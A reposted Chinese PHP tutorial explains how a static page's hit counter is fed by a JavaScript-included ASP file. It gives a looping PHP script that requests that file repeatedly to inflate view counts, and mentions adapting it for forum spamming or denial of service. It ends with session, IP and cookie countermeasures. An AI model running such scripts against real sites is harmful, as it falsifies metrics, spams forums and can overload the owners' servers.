首页 > 开发 > PHP > 正文

PHP实现自动刷数和"灌水"机

2024-05-04 22:56:52
字体:
来源:转载
供稿:网友
  • 网站运营seo文章大全
  • 提供全面的站长运营经验及seo技术!
  •   今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

    <div align=center><span class=article_tdbgall>
    作者:未知 文章来源:meidi.net
    点击数:
    <script language=’javascript’ src=’/article/gethits.asp?articleid=759’></script>
    更新时间:2005-5-27</span>
    </div>

      点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

    document.write(’210’);

      是吧,就是gethists.asp文件处理articleid后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

      坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个php程序来自动的去访问这个文件。

      php代码如下:

    <?php
    /* access_url.php */
    define(sum, 1000); //需要访问的次数
    define(l_time, 1000); //强制脚本执行的时间
    define(s_time, 1); //每次访问之间休眠的时间
    $url = http://www.xxx.com/article/gethits.asp?articleid=759; //需要访问的地址
    set_time_limit(l_time);

    //访问指定url函数
    function access_url($url)
    {
     if ($url==’’) return false;
     $fp = fopen($url, ’r’) or exit(’open url faild!’);
     if ($fp) {
      while (!feof($fp)) {
       $file = fgets($fp);
       echo $file."/n<p> </p>/n";
      }
      unset($file);
     }
    }

    //进行测试
    for ($i=0; $i<sum; $i++) {
     access_url($url);
     sleep(s_time);
    }
    ?>

      运行上面的程序,那么就会连续访问指定的url地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(dos)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

      防范方法:

      1. 代码中使用session机制,当用户提交的时候生成一个session id,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

      2. 当用户提交以后记录用户的ip地址,如果指定时间内再提交的话就不允许再提交。

      3. 当用户提交内容以后,在用户客户端写入cookie,如果用户再次提交先检查客户端是否有cookie来确定是否允许提交。

      还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。

    发表评论 共有条评论
    用户名: 密码:
    验证码: 匿名发表